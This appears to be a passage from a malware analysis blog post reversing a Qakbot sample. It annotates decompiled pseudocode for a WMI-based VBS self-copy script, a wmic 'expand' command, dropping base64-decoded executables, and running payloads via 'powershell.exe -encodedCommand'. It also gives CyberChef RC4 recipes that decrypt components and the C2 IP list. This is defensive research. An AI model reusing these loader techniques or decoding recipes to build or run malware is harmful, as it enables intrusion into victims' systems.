Convert Hex IP port into decimal form

This will be done by using ws2_32.inet_ntoa

Connect to clean sites with a sleep loop

Mostly just using WinINet functions to perform the action.

User agent: Mozilla/5.0 (Windows NT 6.1; rv:77.0) Gecko/20100101 Firefox/77.0 or from urlmon.ObtainUserAgentString

MIME type: application/x-shockwave-flash, image/gif, image/jpeg image/pjeg and */*

Content Type: Content-Type: application/x-www-form-urlencoded

int __cdecl mlwr_loop_sleep_internet_conn(int url_or_ip)
// Try to connect to legit site (below) first
// microsoft.com,google.com,cisco.com,oracle.com,verisign.com,broadcom.com,yahoo.com,xfinity.com,irs.gov,linkedin.com
{
unsigned int i; // esi
int v2; // edi

// Such a big sleep loop to create some heart beat I guess ?
for ( i = 2000; i < 0x1770; i += 2000 )
{
v2 = mlwr_internet_connect(url_or_ip);
if ( v2 >= 0 )
break;
if ( i >= 0xFA0 )
break;
(kernel32_struct->SleepEx)(i, 1);
}
return v2;

VBS script to copy self

v17 = decrypt_str(0x37u);                     // Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\.\%coot\cimv2")
// Set colFiles = objWMIService.ExecQuery("Select * From CIM_DataFile Where Name = '%s'")
// For Each objFile in colFiles
// objFile.Copy("%s")
// Next
printf(v4, 4096, v17, 114, v18, a2);
mlwr_heap_free(&v17);
v17 = mlwr_create_vbs_file(v4); // Create file with <random_name>.vbs
if ( v17 )
{
v5 = mlwr_cscript_open_file(); // cscript.exe open via ShellExecute

Decompress file via expand

v13 = str_dec_2();                            // wmic process call create 'expand "%S" "%S"'
snprinftw(v4, 1024, v13, source, dest);
mlwr_buf_check(&v13);
v5 = str_len(v4);
mlwr_create_file(v3, v4, v5);
v6 = -1;
heap_dealloc(&v12, -1);
if ( mlwr_createproc(v3, &v11, 0, 1, 0) )

Create new file based on b64 decoded bytes received

b64_decoded_bytes = chatgpt_b64_decode(**(a2 + 4), &v18);
if ( !b64_decoded_bytes )
{
v6 = -2;
goto LABEL_28;
}
v21 = to_widechar(v3);
alluserprofile_var = mlwr_get_alluserprofile_var(&v25);
...
if ( !alluserprofile_var )
{
...
while ( 1 )
{
if ( v20 )
goto LABEL_27;
v23 = decrypt_str(0x99Bu); // .exe
v8 = str_concat(v4[v6]);
v25 = v8;
mlwr_heap_free(&v23);
if ( !v8 )
break;
if ( mlwr_create_file(v8, b64_decoded_bytes, v18) < 0 )

Luckily this can be verify through the Powershell command later 😂

Execute base64 code via Powershell -encodedCommand

v3 = chatgpt_b64_decode(**(a1 + 4), 0);
v10 = v3;
if ( v3 )
{
v4 = sub_1000AB87(v3);
v11 = v4;
if ( v4 )
{
v12 = to_widechar(v4);
len = get_len(v12);
v7 = sub_10011789(v6, 2 * len);
if ( v7 )
{
to_widechar(v7);
a1 = str_dec_3(762); // powershell.exe -encodedCommand
v8 = str_concat(a1);
v13 = v8;
mlwr_heap_free(&a1);
sub_1000A75D(v8);
if ( v8 )
{
a1 = 0;
if ( mlwr_createproc(v8, &a1, 30000, 1, 0) )powershell.exe -encodedCommand

Reading amstream.dll

Not sure what is does actually 😕

mem_cpy(v3, *MEMORY[0x4C80CD4], 0x400);
v13 = 0;
str_dec_3(953); // amstream.dll
v8 = decrypt_str(qbot_s->is_sys_64_bit != 0 ? 0xF7C : 0x1253);// SysWOW64 or System32
v9 = str_concat(&qbot_s->system_32_64_path);
file = mlwr_read_file(0, v9, &v13);
mlwr_heap_free(&v8);
mlwr_heap_free(&v9);
v4 = v13;

Check is config file exist

v16 = decrypt_str(0x515u);                    // .cfg
file_with_cfh_ext = str_concat(&qbot_s->file_full_path);
v17 = file_with_cfh_ext;
mlwr_heap_free(&v16);
if ( mlwr_to_getfileattributew(file_with_cfh_ext) )
{
this[4] = sub_1000CE7B(file_with_cfh_ext);
*this = 3;
}

Others

Some XOR function

int __usercall maybe_calc_xor@<eax>(unsigned int a1@<edx>, int a2@<ecx>, int enc_bytes_hash)
{
int v3; // esi
unsigned int i; // ecx
unsigned int v7; // esi

v3 = ~enc_bytes_hash;

if ( !a1 )
return 0;
for ( i = 0; i < a1; ++i )
{
v7 = *(4 * ((*(i + a2) ^ v3) & 0xF) + 0x4C7DCD8) ^ ((*(i + a2) ^ v3) >> 4);
v3 = *(4 * (v7 & 0xF) + 0x4C7DCD8) ^ (v7 >> 4);
}
return ~v3;
}

After thought

Remember get the Qakbot payload before any alignment has been done into it. If not, GLHF to fix it like me 😂 Lesson learn. Just forgot process injection sometimes will made some alignment before inject into other process.

You can find my idapython script and most of the decrypted strings (There are few that my script can’t catch) that makes my life easier here 😪

There is too much to cover in the sample, and most probably I will miss some other features.

References

https://bazaar.abuse.ch/sample/f084d87078a1e4b0ee208539c53e4853a52b5698e98f0578d7c12948e3831a68/

Cyberchef recipe: Decrypt 2nd RC4 layer Component_07
https://gchq.github.io/CyberChef/#recipe=RC4(%7B'option':'Hex','string':'68%2005%206D%204B%207A%20FD%207A%209A%20F0%206D%2072%20E7%2042%20CA%20CC%2035%20F9%207E%2039%207F'%7D,'Hex','Latin1')To_Hexdump(16,false,false,false)&input=REQgQzkgMDUgMUEgNjMgMzQgM0EgOEEgRjEgNkYgMjQgNTggODAgQkQgNzUgM0YgQzggMUIgMkUgRDUgQkYgOEIgNEIgNjYgOEYgRDYgQkEgQTMgQUIgMDIgM0EgMDMgODMgNkIgOEMgRkEgMkEgQUUgREIgOUQ

Cyberchef recipe: Decrypt 1st RC4 layer Component_08
https://gchq.github.io/CyberChef/#recipe=RC4(%7B'option':'Hex','string':'12%20BD%2042%20D0%2094%201C%2069%20EC%20C4%20E8%2007%205C%20CF%203E%209F%2020%202C%201A%2094%2012'%7D,'Hex','Latin1')To_Hexdump(16,false,false,false)&input=REYgRDggNzEgMUMgODQgMUMgQzQgRjMgQkMgQjkgQTcgODQgRjMgQzYgREMgRkMgRTMgOTEgQ0EgMkIgOEQgNEMgNkEgOUIgNzIgQ0QgREUgRTggRDcgQzYgOEQgMTcgODggMkIgQzAgOEQgQjAgNkQgMjkgRDcgQUYgOTggMEYgQTAgOEQgRkIgNEEgNzIgREEgNUIgQ0MgODEgQUUgOEMgQjAgNzQgOUIgNTggMUEgODggQTkgNjggOTUgMDUgQzUgMzggNkMgNUQgRkUgQkYgREQgMjAgOTkgMEEgQkUgMTEgRDAgNzIgQjUgQzMgNTkgQTQgNkMgMkIgNzMgREEgNDcgNEMgNjUgQjIgNzggMEMgQjMgRTMgNDkgNTAgNEMgMjcgNTAgRkEgRTUgNjUgODkgM0MgNTUgRDkgN0IgQ0EgMkMgQzUgNzEgNDIgRTIgODIgQzMgQUQgMjEgQTggNzIgMjggMDMgRTAgRjEgNjEgOTMgMTEgMDIgQUYgRUQgMzQgOUQgNjIgRUEgMTEgMUEgODYgRTAgQUMgQTYgNTggRUIgNkUgNTYgNkIgOEUgM0YgN0YgODkgMEIgNDMgNTMgMUIgQjUgQUYgNjYgQTAgRDcgOTcgRUIgQ0QgQ0YgRkQgQzIgOTMgRkMgNkIgNDYgOUEgMkQgRjYgMTUgNkEgODEgM0YgREYgQjkgNDggQUIgQTcgM0QgNjUgODcgOTAgQTkgMTkgM0IgRTggODEgRDggQ0EgRDIgRDMgMzUgNzIgMDAgMjEgOUQgRjAgQzIgMUEgODkgQUIgRkMgNEIgQzkgMzcgODcgNjEgMDUgRUEgMzEgQUQgMjcgRkUgMzggQjUgMEIgMjAgREQgOTggOEIgMzUgRDAgQ0EgQUYgNzggQjIgODAgRjcgRUQgOTYgRjMgOTkgNTUgRTAgMkIgMzIgNjUgNzcgMEMgQTMgM0IgODYgNjcgMkYgMDkgQjggMEUgQkYgMTcgQkIgMUUgNTMgQTIgRTcgOUIgNjAgODQgQjcgRDcgNzYgODEgQkQgNDcgNUMgQzUgOUUgNkUgRTYgQTQgQzEgODkgMjQgMzMgM0YgRTggNkQgNjMgMkEgQjkgREIgODIgNzYgMDUgQUUgNDcgNDQgRDkgOEIgM0EgQ0UgQzkgNjIgQzMgMjUgNTIgNzYgOUEgMEEgNDEgQzEgODAgRTUgMDggRUUgMzIgQTUgQjAgQ0QgQTUgNTEgNjYgMzMgQzEgRjAgQTUgMDQgQTEgOTAgNEYgRDEgRjcgOEIgMkIgRDcgOTUgMTYgNzggQTEgNjkgQTQgQTMgQUIgMkIgMjEgNzIgQkYgOTUgNUUgRDQgRjkgQzQgOTkgQTYgNEQgMUMgNjYgNUEgN0UgMTYgRTAgQzkgMzcgRjAgRkEgNzMgRDYgQ0QgMkQgM0EgQkIgNzYgOEEgQjcgMzkgQTQgN0QgOEIgMzcgMjggODQgODQgQzkgN0MgMjkgMjcgOEMgRUQgMkUgQTIgQzEgNDUgRTUgRUQgMjAgQ0YgMUIgNjIgNTcgODMgQzEgMUIgN0UgNzAgQkIgQkUgNzUgMDggOUUgMTggQTkgNDYgRjggM0QgRTAgMEIgNkYgMEIgMUUgNjggQzcgOTIgRDQgMzAgMDggQUYgQ0UgMEUgRDMgMTMgRTAgRTEgOUUgN0MgRTcgNTEgRTcgM0QgMTQgMUIgMjIgQTAgQzYgMDMgRUYgQzUgMzYgNkQgMkYgRDcgNzMgMkIgNkQgNkQgM0UgQ0MgNEUgODIgNDQgNUEgRjEgODcgN0IgMkQgN0YgRDYgQ0YgOEQgNkYgNzMgNkMgMDEgNEMgRTMgMTkgMUUgMUIgRjEgMUIgRUEgOUQgQTQgRUEgNTUgQUYgMjggNkEgNTIgMDggQ0UgOEEgMTQgOTYgOEQgQjMgRjUgODMgOUEgMjYgQTMgQTQgOTMgOTEgMUEgN0MgRjQgOTMgNDIgOTkgNUEgQUUgQkEgMUMgQTUgQjQgOTEgRDYgMkYgMUQgRkMgOTYgMDcgMDIgNTAgRkUgRjAgNzIgNTYgODEgQzEgMTAgODYgRjQgRDMgNkUgQTggQUMgMTkgNEQgRDAgNDkgRDMgOTkgMDcgMTMgRjYgQTkgNzUgQ0EgQTkgRTYgQzQgRjUgNDcgMzUgMDcgODYgQjEgODMgQzMgMjUgQzkgQTggODQgRkIgRTcgMzIgNjQgQjYgNEUgMjUgQTMgMDkgOTAgNzMgMjUgNDQgQkIgQTkgQzYgNkEgNEEgNjYgMDMgODYgQTUgREEgQTIgQjMgQzEgMkIgODggRUIgNUUgMDQgNjQgOUEgRjAgOTMgNjkgMjYgNzMgN0MgQ0IgN0QgOUMgOTggN0YgNzcgQTkgQjkgMUQgODkgOTkgODcgMDggMUUgODIgNEUgQTAgM0IgNjUgRDkgRTUgOUMgQ0YgMEQgODkgMTEgQzMgQjkgQjggMDUgNUEgMjggOTkgMjEgN0IgREUgRjggOUYgQzQgNTkgMkIgMTUgRkMgMTUgMjMgNjIgRjMgNTMgREQgM0IgNTQgN0QgNjAgMEIgQTggODUgNjAgMDkgREIgQUEgMTYgODMgMDUgMTUgNTggMDkgREQgRTcgOUYgQjMgMzUgOUYgQjMgNTIgMjcgMzcgMTggOUEgMDMgNUMgNTQgN0EgMzggODIgNDMgMzYgRkYgRkMgOUQgQTkgRjkgNzIgNjggNDkgMDggNjggOTAgRTMgM0UgM0UgMUQgMEIgNTIgRDUgOTEgMjAgQjcgOUEgMzEgRjYgOUMgMjAgMzcgQTkgNkQgODkgODAgNDAgRjIgQkEgN0MgNzEgMDggRUIgNzQgNDkgOTMgOEUgRjIgOEEgRDMgNzQgQ0YgQTEgNDkgNzIgREUgQUEgNDIgOUIgMzMgNEQgNzUgNEQgQTcgNEIgNzEgMTggRjAgRUYgOUYgNzYgNTIgMTUgMjIgMjAgMUIgOTAgNTcgQkEgNDEgQ0MgQzIgMEIgNUUgOEQgMjUgQTAgNjggNzIgMDEgM0MgODUgNjYgMTkgQjUgQjYgQzYgQjIgNDMgNzUgRDEgNEEgMzEgMjIgNzYgNTEgQUEgRkMgQTQgOUEgMkYgQkMgQjMgRjMgQ0IgMzYgODcgQTMgNzUgQjUgNTQgMjEgRTYgNjYgRkIgNzYgMTIgMzcgMDUgOUUgQzQgNDcgN0UgNTEgOUYgNUUgNkIgMDYgODMgOTIgNkUgOUUgMTcgNDIgN0MgNDggMzQgMEQgNTEgQzUgN0YgMjkgQTIgNEEgMDYgNDAgOTAgNUUgQzYgRTIgNzMgOTkgMzEgQkIgQ0MgRUYgODUgRTUgRTkgQjIgRTkgREEgMEEgMzIgM0QgQzQgODcgOTYgMjQgQTIgQUIgM0YgNjQgNEQgQzcgRTkgQkMgNTcgNzUgMEQgQTggRjAgMkUgQjAgQkEgMkIgMTggRUIgQUMgQkMgNkQgRTAgMTIgNzQgRTMgMzkgNEUgMDAgMTMgNkYgNEMgRDIgQzUgQTkgNkYgMDUgOEUgRjAgNkIgNDYgRTQgOTEgNDMgMUQgMjMgOUMgQjUgNTkgQkUgRDkgRUEgNDMgRTUgQzAgMjkgRkEgMDEgQUQgRDYgMjIgOTUgREIgOUEgRTkgNUIgOTkgRDMgN0IgQ0MgNEUgQ0IgQkMgM0IgNjkgOEMgRDIgMDAgNzUgM0UgNzcgN0QgOTAgRjIgMDMgQkMgNTkgRTAgMTQgOUYgQzggN0MgMTEgNTUgQzIgNDEgNzAgMjcgRUQgMTIgNTIgQTQgOUQgNTIgMzUgMTIgMTYgNkUgODAgRUIgQTcgMUYgM0QgNEQgRkYgMjAgQTIgRDMgMTEgMjEgQzIgQkQgMzggQkYgMkIgM0MgMzAgODIgMTcgMzAgNzkgN0MgMDMgMEUgQUEgOTcgREYgNDIgNUYgRDMgMjQgQTkgNjAgOTAgMkIgMEEgQzUgMTIgRkIgNzQgNDggRkUgOEQgQjAgNzkgMTEgRUMgN0YgQUEgMTYgODQgRTkgRDMgNjQgQkMgRjUgMzU

Cyberchef recipe: Decrypt 2nd RC4 layer Component_08 (IP C2 List)
https://gchq.github.io/CyberChef/#recipe=RC4(%7B'option':'Hex','string':'30%20A6%20FF%2092%20B2%209F%20BE%20E7%2076%204C%20DF%20C0%200E%204B%20FF%20DE%204F%2070%2094%200D'%7D,'Hex','Latin1')To_Hexdump(16,false,false,false)&input=Q0UgQkQgMjYgODUgMTkgQTAgODggMEQgNjkgMjkgRjIgMDcgQkEgRjMgMjQgQUUgRTAgNTUgREMgMTAgNDUgOUQgNDkgRTAgQzYgMzEgRTQgRUEgQzMgQkIgNDEgRjYgNzcgQUEgRjcgRTIgQjYgM0MgNzggQUEgRTkgMTMgQTcgQ0UgOEUgMkIgRTYgNjcgRkYgRDIgRUIgNEYgMEUgRTcgMjAgM0UgMTMgREEgNzkgQTggODcgNzEgOUEgN0YgRkUgREMgMkMgRTkgODUgNDIgRjYgMzEgNDYgRUEgODQgRTMgMzggNTQgMDEgM0EgRkIgODAgMEEgQTggRjEgNzYgQ0EgMEEgMTQgOTkgMkQgOUMgQzYgRDQgQUIgQTggMzQgODkgMjEgM0EgN0MgQjQgNDYgM0YgQzYgQTQgNDEgOTMgQTUgNjcgODIgNjYgRDkgRjEgNzYgMUYgMUUgMDMgRTEgRDcgMzQgQzUgNDIgNDEgMTcgNkQgMkEgMUUgRTUgNEYgMTkgNUQgNzQgQ0EgNkUgRTUgMzggOUMgM0IgQTcgOTUgM0IgMjcgMjMgMzAgNzYgODUgNkQgQzUgNUMgRTEgNjUgNUMgNUEgQkMgMTMgREYgNEMgRTYgQzQgOUYgQjEgMzggNTMgQzMgRDAgQUQgQzAgQzQgOTMgMEIgQzIgNjggRDYgMUMgNEMgQTAgRDUgOUIgNkQgRDcgMkEgQjUgNjAgQjMgNEQgQ0UgMzMgNzYgQTIgQzggQTEgNjQgQTIgMDkgRTYgNjMgNDEgNTcgNzUgM0IgNkMgNjggNEYgMjAgMTMgNzggQTQgNUEgMjIgQzIgNTggNTUgM0EgMjQgOUQgREUgNTcgOTcgQTYgQkUgMDIgMTEgOTkgOTYgNUMgNUEgQ0YgRkUgQzAgNDggNjkgOUUgMzUgRDMgMDMgQkMgOEIgQTggODkgMEEgODIgMTQgRUYgMkEgMkYgRTcgMzMgQ0QgODIgMjQgNzEgMTkgRTQgOEYgQkEgQzYgOTEgM0MgODcgMTUgMEUgQkMgMTggNDggMUIgMDUgQ0EgOUIgOEMgMDkgRDMgMEIgNTMgNTUgNzQgOTEgNkUgMzIgMEQgNTcgNjUgQUQgNEYgNkEgOTcgMUEgMjYgMDQgQjggRUUgNjEgNTQgOTkgQzQgODggRUEgNjYgOTQgNEUgQjUgNzggMkQgRDQgODEgMUYgMEYgRDMgOTUgNTggNTcgQkEgQzYgNEYgQzYgRkUgN0UgQTIgMDcgNzEgRDYgNTIgQkMgRDAgMzUgOEQgMjUgMzggMzkgNjIgRkUgRjIgMUQgQUMgNTkgNTQgQTAgMkMgQjcgNEMgQzQgMTkgQ0IgRDYgQzggREYgQTAgMDAgMDMgMDggNDMgQjEgMjUgRTUgRjYgRjcgQjIgMEUgMDMgMUQgRDIgQkMgOEIgNkMgODEgNDMgMTYgOEMgMUEgQTAgQUQgRkIgMEQgREUgQUIgRTcgMTMgRDYgRTMgMkYgMEMgQjAgRjQgM0UgMjggRjEgMTUgOUYgNTMgRkQgNTkgQTIgM0YgRkUgNDQgQ0YgODkgQTMgRkYgOUIgRTYgN0QgMTggQzYgOUEgNUYgOEMgNTEgRUQgRDQgQzAgNTAgMTYgNzQgMkYgRTMgNzkgQzIgREEgRkMgNEEgMkIgNUUgMTkgOUQgQUIgRDYgOUEgRUIgMTMgNEUgM0EgMTAgMDcgQjkgQTcgRkUgNUMgMDggMzYgQTggRTQgNEYgRkUgNjEgNzMgMjMgRjIgMDcgMTggNkQgMjEgN0MgNkQgNTQgNjIgQTMgNzYgQTMgMzMgNTAgRUIgRDUgNDcgMjAgNEIgMUYgNzQgODEgNTEgMDAgMjQgNzEgMUQgOEEgQTMgRkYgMEEgQUEgMTEgNTMgREIgRkEgRkMgMTMgMTEgRjcgM0IgQzcgN0IgNDkgQ0IgODAgOEQgMzMgODEgRjUgQTIgRTYgOTggNUQgQkYgMDQgRjQgOTQgQTkgRkIgRjYgMjYgRjMgQ0EgMTggNzQgQzMgQ0YgQzAgM0UgOTYgNjMgNDIgRjkgMjcgRjkgRDMgNzEgQzMgQjcgOEYgQzcgMjUgNDggQUYgMzMgQTMgNTYgMDQgQkEgMjYgNkUgMUUgMTIgQTEgRUEgMDAgMjcgN0UgQkIgRjEgMUQgRjAgMkYgNTQgMzggQTggRjMgQzUgMDMgMDAgQ0MgQjkgNTIgMjIgNUIgRkYgNTIgQzggQzcgOTggRUEgRDUgRjcgQUIgMzQgREYgREUgRjUgNDEgMUIgQ0MgNzEgMzUgQzYgNDYgODkgMUYgRUEgMDkgRUYgRjggOEEgNTMgMzIgODAgODMgMTIgMUEgQjYgMjIgODQgMEYgQjIgMEIgRjQgQkUgNDMgQUUgODkgRDAgQzIgQTEgNDQgMzUgQTQgMzIgNjkgOTggNEIgRjMgM0EgQUUgNzQgQ0IgMzQgOTUgRDUgNTQgMjcgOTAgNjcgMTcgMUMgNjcgMkUgQ0QgMzggNEYgNDggQ0UgRUEgNzkgMUEgNzUgOEYgRDUgQTYgMTMgQUQgN0YgNkYgMEUgRTcgMzggQzcgMkEgN0UgMjAgQ0UgM0UgN0MgNTkgNkEgMjAgOEUgMUYgMDQgQkIgMzAgMDYgOUUgODYgRUIgRjggQ0QgRkUgNDAgNDcgOUIgOEQgRDUgNkQgOUEgRkMgQkMgNjYgNzcgNTggOUUgRjAgQTQgNDUgNTYgQzcgNjcgRTcgM0EgQTMgRDUgNjMgMjEgNjUgRjggREUgODAgQjcgNTQgOEQgODcgMzMgMDggOTkgRDYgMEIgRUEgNEEgQTAgMzggN0UgMTEgNjAgM0UgRTEgNjMgMEIgRjYgNjYgQUQgOEQgQ0MgMzYgRjYgMjAgQTIgRkUgODYgQkMgNjIgODkgQkQgOUIgQzYgQUYgQUYgQkQgMDcgNDkgOTUgMjYgODUgQjQgODggM0MgREMgNjggMTcgRUUgN0QgRTcgNTcgMTkgQjggNUQgQTggRDggMkIgNjMgMEUgRTkgRDcgMTAgMUYgNDUgNkIgMDYgRjMgOEIgREEgRTEgMjIgODcgMEYgMzggQ0MgNzIgMjYgMTIgMjQgQTEgNDggMjggNjggOTMgRUYgMUYgNjQgQjYgMzIgQzEgNDggQ0QgNjMgMUUgQzQgNUQgNkEgMkYgQTAgQTkgOEEgNDEgQkIgRTMgNTYgN0EgNTYgODUgRUMgNkEgNTYgQ0QgQjAgRTQgQUQgQTcgOTIgQzEgQ0MgQzEgQjggOUIgRkMgOTYgRjcgN0EgRkMgRTAgQkUgMEMgRDAgNDggQTMgNjYgNEUgMUYgRUQgRTggMEQgOUMgRkIgMzkgNDIgMzggRjMgREQgMUQgMDMgMUQgNjAgNTUgODMgNEIgMTAgRkEgNkUgNkYgMzAgODEgQzggNTEgMUYgOEIgRTkgM0MgNTggNjMgRTkgRjYgRkMgNUQgREIgNTcgREYgQTMgMUUgMUYgRDggRkQgNjYgNUIgQzAgNUIgMkMgN0YgM0EgOTQgNzcgNzggRTAgM0EgRkUgMTIgRTEgMzkgNzUgMEMgNzkgMEMgQTEgRjIgRDUgRkIgRDYgRjAgMEQgOTYgNjIgREMgNTMgMEIgOTkgRTAgNzMgQzEgNkUgQzQgQkUgQjkgREYgOTEgNTkgODkgQzUgNTUgOTUgRjIgREEgQzAgNzIgQzYgOUIgMzMgNkUgMDIgQUUgNTAgOEEgQTAgMzcgMDEgNzIgRjMgQTEgOTEgNEYgQkQgQkEgOTYgMDMgMTYgNzkgMjEgQTAgN0MgRDMgMjYgQjIgNkIgMDQgNzEgQUEgNDcgNTAgNzUgOUUgNDcgRjggNTcgNDAgOTUgOUQgQTc

https://unit42.paloaltonetworks.com/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/

https://www.trellix.com/en-us/about/newsroom/stories/research/blackmatter-ransomware-analysis-the-dark-side-returns.html

https://www.ionos.com/digitalguide/server/configuration/deleting-and-disabling-hiberfilsys/

https://learn.microsoft.com/en-us/windows/win32/secauthz/sid-components

https://stackoverflow.com/questions/31151139/what-does-mandatory-integrity-level-value-of-0x2010-stand-for

https://www.elastic.co/security-labs/qbot-malware-analysis

--

--